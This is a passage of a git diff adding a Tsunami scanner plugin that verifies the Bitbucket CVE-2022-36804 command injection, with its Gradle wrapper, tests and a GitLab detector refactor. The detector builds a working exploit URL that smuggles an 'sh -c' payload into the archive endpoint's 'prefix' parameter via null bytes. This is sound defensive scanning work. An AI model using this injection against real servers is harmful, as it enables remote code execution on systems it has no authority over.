b/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..2c3521197 Binary files /dev/null and b/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.properties b/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..d04736436 --- /dev/null +++ b/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/community/detectors/bitbucket_cve_2022_36804/gradlew b/community/detectors/bitbucket_cve_2022_36804/gradlew new file mode 100755 index 000000000..f5feea6d6 --- /dev/null +++ b/community/detectors/bitbucket_cve_2022_36804/gradlew @@ -0,0 +1,252 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s +' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/community/detectors/bitbucket_cve_2022_36804/gradlew.bat b/community/detectors/bitbucket_cve_2022_36804/gradlew.bat new file mode 100644 index 000000000..9d21a2183 --- /dev/null +++ b/community/detectors/bitbucket_cve_2022_36804/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/community/detectors/bitbucket_cve_2022_36804/settings.gradle b/community/detectors/bitbucket_cve_2022_36804/settings.gradle new file mode 100644 index 000000000..a06e32740 --- /dev/null +++ b/community/detectors/bitbucket_cve_2022_36804/settings.gradle @@ -0,0 +1,2 @@ +rootProject.name = 'bitbucket_cve_2022_36804' + diff --git a/community/detectors/bitbucket_cve_2022_36804/src/main/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804DetectorBootstrapModule.java b/community/detectors/bitbucket_cve_2022_36804/src/main/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804DetectorBootstrapModule.java new file mode 100644 index 000000000..333eb054e --- /dev/null +++ b/community/detectors/bitbucket_cve_2022_36804/src/main/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804DetectorBootstrapModule.java @@ -0,0 +1,11 @@ +package com.google.tsunami.plugins.detectors.bitbucket; + +import com.google.tsunami.plugin.PluginBootstrapModule; + +public class Cve202236804DetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(Cve202236804VulnDetector.class); + } +} diff --git a/community/detectors/bitbucket_cve_2022_36804/src/main/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804VulnDetector.java b/community/detectors/bitbucket_cve_2022_36804/src/main/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804VulnDetector.java new file mode 100644 index 000000000..097013ad8 --- /dev/null +++ b/community/detectors/bitbucket_cve_2022_36804/src/main/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804VulnDetector.java @@ -0,0 +1,208 @@ +package com.google.tsunami.plugins.detectors.bitbucket; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.tsunami.common.net.http.HttpRequest.get; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.gson.JsonArray; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLEncoder; +import java.time.Clock; +import java.time.Instant; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects the CVE-2022-0540 vulnerability. Reading */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + author = "SuperX-SIR", + name = "Cve202236804VulnDetector", + version = "0.1", + description = + "A vulnerability in Bitbucket allows remote code execution. An attacker with read to a" + + " repository can execute arbitrary code by sending a malicious HTTP request. Versions" + + " between 6.10.17 and 8.3.0 (included) are affected.", + bootstrapModule = Cve202236804DetectorBootstrapModule.class) +public class Cve202236804VulnDetector implements VulnDetector { + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private static final String GET_ALL_PUB_PATH = "repos?visibility=public"; + private static final String STRING_PUB_REP = "Public Repositories"; + private static final Pattern PUBLIC_REPO_PATTERN = + Pattern.compile( + ""); + private final HttpClient httpClient; + private final Clock utcClock; + private final PayloadGenerator payloadGenerator; + + @Inject + Cve202236804VulnDetector( + @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { + this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); + this.utcClock = checkNotNull(utcClock); + this.payloadGenerator = checkNotNull(payloadGenerator); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("CVE-2022-36804 starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) + .setExecutionEnvironment( + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) + .build(); + + if (!payloadGenerator.isCallbackServerEnabled()) { + logger.atInfo().log("Callback server disabled but required for this detector."); + return false; + } + + Payload payload = this.payloadGenerator.generate(config); + String commandToInject = String.format("sh -c \"%s\"", payload.getPayload()); + String publicReposUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + GET_ALL_PUB_PATH; + + try { + HttpResponse httpResponse = + httpClient.send(get(publicReposUrl).withEmptyHeaders().build(), networkService); + if (httpResponse.status().code() != 200 + || !httpResponse.bodyString().get().contains(STRING_PUB_REP)) { + return false; + } + + String repoArchiveLink = + getArchiveLink( + getPubLink(String.valueOf(httpResponse.bodyString())), + URLEncoder.encode(commandToInject, "UTF-8")); + if (repoArchiveLink.length() == 0) { + return false; + } + + httpClient.send( + get(NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + repoArchiveLink) + .withEmptyHeaders() + .build(), + networkService); + return payload.checkIfExecuted(); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Request to target %s failed", networkService); + } + + return false; + } + + private String getPubLink(String response) { + String publink = ""; + Matcher matcher = PUBLIC_REPO_PATTERN.matcher(response); + if (matcher.find()) { + String res = matcher.group(1); + JsonElement rootElement = JsonParser.parseString(res); + JsonObject repositoryPage = rootElement.getAsJsonObject(); + if (repositoryPage.get("size").getAsInt() > 0) { + + JsonArray values = repositoryPage.getAsJsonArray("values"); + for (int i = 0; i < repositoryPage.get("size").getAsInt(); i++) { + JsonArray selfs = + values.get(i).getAsJsonObject().getAsJsonObject("links").getAsJsonArray("self"); + for (JsonElement hreflink : selfs) { + publink = hreflink.getAsJsonObject().get("href").getAsString(); + return publink; + } + } + } + } + return publink; + } + + private String getArchiveLink(String publink, String commandToInject) + throws MalformedURLException { + String archiveLink = ""; + if (publink.length() == 0) { + return archiveLink; + } else { + URL url = new URL(publink); + archiveLink = + "rest/api/latest" + + url.getPath().substring(0, url.getPath().lastIndexOf("/")) + + "/archive" + + "?format=zip&prefix=123%00--exec=" + + commandToInject + + "%00--remote=git@g.com/a/b"; + return archiveLink; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2022-36804")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-36804")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2022-36804: Bitbucket Command injection vulnerability") + .setDescription( + "A vulnerability in Bitbucket allows remote code execution. An attacker with" + + " read to a repository can execute arbitrary code by sending a malicious" + + " HTTP request. Versions between 6.10.17 and 8.3.0 (included) are" + + " affected.") + .setRecommendation( + "Update the Bitbucket Server and Data Center installation to a version that " + + "provides a fix (7.6.17 (LTS), 7.17.10 (LTS), 7.21.4 (LTS), 8.0.3, 8" + + ".1.3, 8.2.2, 8.3.1)or later")) + .build(); + } +} diff --git a/community/detectors/bitbucket_cve_2022_36804/src/test/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804DetectorWithCallbackServerTest.java b/community/detectors/bitbucket_cve_2022_36804/src/test/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804DetectorWithCallbackServerTest.java new file mode 100644 index 000000000..a00e8deac --- /dev/null +++ b/community/detectors/bitbucket_cve_2022_36804/src/test/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804DetectorWithCallbackServerTest.java @@ -0,0 +1,330 @@ +package com.google.tsunami.plugins.detectors.bitbucket; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.Software; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +@RunWith(JUnit4.class) +public class Cve202236804DetectorWithCallbackServerTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2022-09-15T00:00:00.00Z")); + + @Inject private Cve202236804VulnDetector detector; + private MockWebServer mockWebServer; + private MockWebServer mockCallbackServer; + private NetworkService service; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + mockCallbackServer = new MockWebServer(); + mockCallbackServer.start(); + mockWebServer.start(); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), + new Cve202236804DetectorBootstrapModule()) + .injectMembers(this); + + service = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setSoftware(Software.newBuilder().setName("bitbucket")) + .setServiceName("http") + .build(); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + mockCallbackServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws IOException { + mockWebServer.enqueue( + new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody( + "HTTP/1.1 200 \n" + + "X-AREQUESTID: @5BAAJ5x535x416x0\n" + + "x-xss-protection: 1; mode=block\n" + + "x-frame-options: SAMEORIGIN\n" + + "x-content-type-options: nosniff\n" + + "Pragma: no-cache\n" + + "Expires: Thu, 01 Jan 1970 00:00:00 GMT\n" + + "Cache-Control: no-cache\n" + + "Cache-Control: no-store\n" + + "vary: accept-encoding\n" + + "Content-Type: text/html;charset=UTF-8\n" + + "Content-Language: en-CA\n" + + "Date: Wed, 14 Sep 2022 08:55:59 GMT\n" + + "Connection: close\n" + + "Content-Length: 10741\n" + + "\n" + + "Public" + + " Repositories - Bitbucket\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "
  • Skip to content
    • Help
    • AlertsLog" + + " In

    Public" + + " Repositories

    ")); + mockWebServer.enqueue( + new MockResponse().setResponseCode(HttpStatus.SERVICE_UNAVAILABLE.code())); + + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .build(); + + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(service) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2022-36804")) + .addRelatedId( + VulnerabilityId.newBuilder() + .setPublisher("CVE") + .setValue("CVE-2022-36804")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2022-36804: Bitbucket Command injection vulnerability") + .setDescription( + "A vulnerability in Bitbucket allows remote code execution. An attacker" + + " with read to a repository can execute arbitrary code by sending" + + " a malicious HTTP request. Versions between 6.10.17 and 8.3.0" + + " (included) are affected.") + .setRecommendation( + "Update the Bitbucket Server and Data Center installation to a version" + + " that provides a fix (7.6.17 (LTS), 7.17.10 (LTS), 7.21.4 (LTS)," + + " 8.0.3, 8.1.3, 8.2.2, 8.3.1)or later")) + .build()); + } + + @Test + public void detect_whenNotVulnerable_returnsnoVulnerability() throws IOException { + mockWebServer.enqueue( + new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody( + "HTTP/1.1 200 \n" + + "X-AREQUESTID: @5BAAJ5x535x416x0\n" + + "x-xss-protection: 1; mode=block\n" + + "x-frame-options: SAMEORIGIN\n" + + "x-content-type-options: nosniff\n" + + "Pragma: no-cache\n" + + "Expires: Thu, 01 Jan 1970 00:00:00 GMT\n" + + "Cache-Control: no-cache\n" + + "Cache-Control: no-store\n" + + "vary: accept-encoding\n" + + "Content-Type: text/html;charset=UTF-8\n" + + "Content-Language: en-CA\n" + + "Date: Wed, 14 Sep 2022 08:55:59 GMT\n" + + "Connection: close\n" + + "Content-Length: 0\n")); + mockWebServer.enqueue( + new MockResponse().setResponseCode(HttpStatus.SERVICE_UNAVAILABLE.code())); + + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .build(); + + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } +} diff --git a/community/detectors/gitlab_cve_2021_22205/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetector.java b/community/detectors/gitlab_cve_2021_22205/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetector.java index cdd6ff0a5..baebf6196 100644 --- a/community/detectors/gitlab_cve_2021_22205/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetector.java +++ b/community/detectors/gitlab_cve_2021_22205/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202122205/Cve202122205VulnDetector.java @@ -20,7 +20,6 @@ import static com.google.common.net.HttpHeaders.CONTENT_TYPE; import static com.google.common.net.HttpHeaders.COOKIE; import static com.google.common.net.HttpHeaders.USER_AGENT; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.get; import static com.google.tsunami.common.net.http.HttpRequest.post; @@ -131,25 +130,6 @@ public void setCookie(String cookie) { } } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown"); - } - - private static StringBuilder buildTarget(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - return targetUrlBuilder; - } - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -158,7 +138,7 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve202122205VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -170,7 +150,8 @@ private String clearCookie(String cookie) { } private Cve202122205VulnVo getCsrfTokenAndCookie(NetworkService networkService) { - String targetUserSignUrl = buildTarget(networkService).append(USER_SIGN_PATH).toString(); + String targetUserSignUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + USER_SIGN_PATH; Cve202122205VulnVo result = new Cve202122205VulnVo(); try { HttpResponse httpResponse = @@ -196,7 +177,8 @@ private Cve202122205VulnVo getCsrfTokenAndCookie(NetworkService networkService) } private boolean isServiceVulnerable(NetworkService networkService) { - String targetVulnerabilityUrl = buildTarget(networkService).append(VUL_PATH).toString(); + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH; try { Cve202122205VulnVo info = getCsrfTokenAndCookie(networkService); if (Strings.isNullOrEmpty(info.getCookie()) && Strings.isNullOrEmpty(info.getCsrfToken())) { diff --git a/community/detectors/gocd_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetector.java b/community/detectors/gocd_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetector.java index 1d52fdb73..748bbcbb0 100644 --- a/community/detectors/gocd_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetector.java +++ 